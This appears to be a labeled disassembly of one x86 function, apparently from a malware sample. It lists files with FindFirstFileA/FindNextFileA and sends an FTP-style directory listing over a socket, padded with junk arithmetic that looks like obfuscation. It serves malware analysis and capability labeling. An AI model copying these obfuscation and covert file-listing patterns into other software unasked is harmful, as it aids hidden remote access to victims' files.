Function at 0x408349
Capabilities:
Enumerate files on windows
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10290
call fcn.0040c214
push ebx
push esi
push edi
mov ebx, 0x4265352c
mov eax, 0x1949
mul ebx
mov dword [ebp - 0x1028c], eax
mov ebx, eax
xor ebx, 0x3ad3
lea edi, [ebp - 0x10184]
lea esi, [0x42e6b8]
mov ecx, 0xc
rep movsd dword es:[edi], dword [esi]
sub ebx, 0x3e14
push str.150_ASCII_p_r_n
call sub.KERN_lstrlenA
push 0
push eax
push str.150_ASCII_p_r_n
mov edi, dword [ebp + 8]
push dword [edi]
call sub.wsock32.dll_send
push 1
lea eax, [ebp - 0x10288]
push eax
mov eax, dword [ebp + 8]
add eax, 0x1c
push eax
call fcn.004078e1
add esp, 0xc
sub ebx, 0x4f6f
cmp dword [ebp + 0xc], 0
jne 0x4083e9
lea eax, [ebp - 0x10288]
push eax
push str._s.
lea eax, [ebp - 0x10288]
push eax
call fcn.0040c788
add esp, 0xc
jmp 0x408407
push dword [ebp + 0xc]
lea eax, [ebp - 0x10288]
push eax
push str._s_s
lea eax, [ebp - 0x10288]
push eax
call fcn.0040c788
add esp, 0x10
add ebx, 0x6aa8
cmp dword [ebp + 0xc], 0
jne 0x408432
push str.total_65535_r_n
call sub.KERN_lstrlenA
push 0
push eax
push str.total_65535_r_n
mov edi, dword [ebp + 8]
push dword [edi + 4]
call sub.wsock32.dll_send
jmp 0x408439
mov byte [ebp - 0x10150], 0
lea eax, [ebp - 0x140]
push eax
lea eax, [ebp - 0x10288]
push eax
call sub.KERN_FindFirstFileA
mov dword [ebp - 0x10154], eax
cmp dword [ebp + 0xc], 0
je 0x408512
cmp eax, 0xffffffff
je 0x408512
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x13c]
push eax
call sub.KERN_FileTimeToSystemTime
sub ebx, 0x203a
lea eax, [ebp - 0x114]
push eax
movzx eax, word [ebp - 0x146]
push eax
movzx eax, word [ebp - 0x148]
push eax
movzx eax, word [ebp - 0x14a]
push eax
movzx edi, word [ebp - 0x14e]
shl edi, 2
lea edi, [ebp + edi - 0x10188]
push edi
push dword [ebp - 0x120]
mov edi, dword [ebp - 0x140]
and edi, 0x10
xor edx, edx
cmp edi, 0x10
sete dl
mov dword [ebp - 0x10290], edx
imul edi, dword [ebp - 0x10290], 0x37
add edi, 0x2d
push edi
push str._crwxrwxrwx__1_noone____nogroup______i__s___02i__02i:_02i__s_r_n
lea edi, [ebp - 0x10150]
push edi
call fcn.0040c788
add esp, 0x24
mov eax, ebx
xor eax, ebx
mov ebx, eax
lea eax, [ebp - 0x10150]
push eax
call sub.KERN_lstrlenA
push 0
push eax
lea edi, [ebp - 0x10150]
push edi
mov edi, dword [ebp + 8]
push dword [edi + 4]
call sub.wsock32.dll_send
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x10154]
call sub.KERN_FindNextFileA
or eax, eax
je 0x4085de
sub ebx, 0x3df
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x13c]
push eax
call sub.KERN_FileTimeToSystemTime
lea eax, [ebp - 0x114]
push eax
movzx eax, word [ebp - 0x146]
push eax
movzx eax, word [ebp - 0x148]
push eax
movzx eax, word [ebp - 0x14a]
push eax
movzx edi, word [ebp - 0x14e]
shl edi, 2
lea edi, [ebp + edi - 0x10188]
push edi
push dword [ebp - 0x120]
mov edi, dword [ebp - 0x140]
and edi, 0x10
xor edx, edx
cmp edi, 0x10
sete dl
mov dword [ebp - 0x10290], edx
imul edi, dword [ebp - 0x10290], 0x37
add edi, 0x2d
push edi
push str._crwxrwxrwx__1_noone____nogroup______i__s___02i__02i:_02i__s_r_n
lea edi, [ebp - 0x10150]
push edi
call fcn.0040c788
add esp, 0x24
add ebx, 0xa90
lea eax, [ebp - 0x10150]
push eax
call sub.KERN_lstrlenA
push 0
push eax
lea edi, [ebp - 0x10150]
push edi
mov edi, dword [ebp + 8]
push dword [edi + 4]
call sub.wsock32.dll_send
jmp 0x408512
push dword [ebp - 0x10154]
call sub.KERN_FindClose
mov eax, ebx
sub eax, ebx
mov ebx, eax
mov eax, dword [ebp + 8]
push dword [eax + 4]
call sub.wsock32.dll_closesocket
push str.226_P_ok_r_n
call sub.KERN_lstrlenA
push 0
push eax
push str.226_P_ok_r_n
mov edi, dword [ebp + 8]
push dword [edi]
call sub.wsock32.dll_send
pop edi
pop esi
pop ebx
leave
ret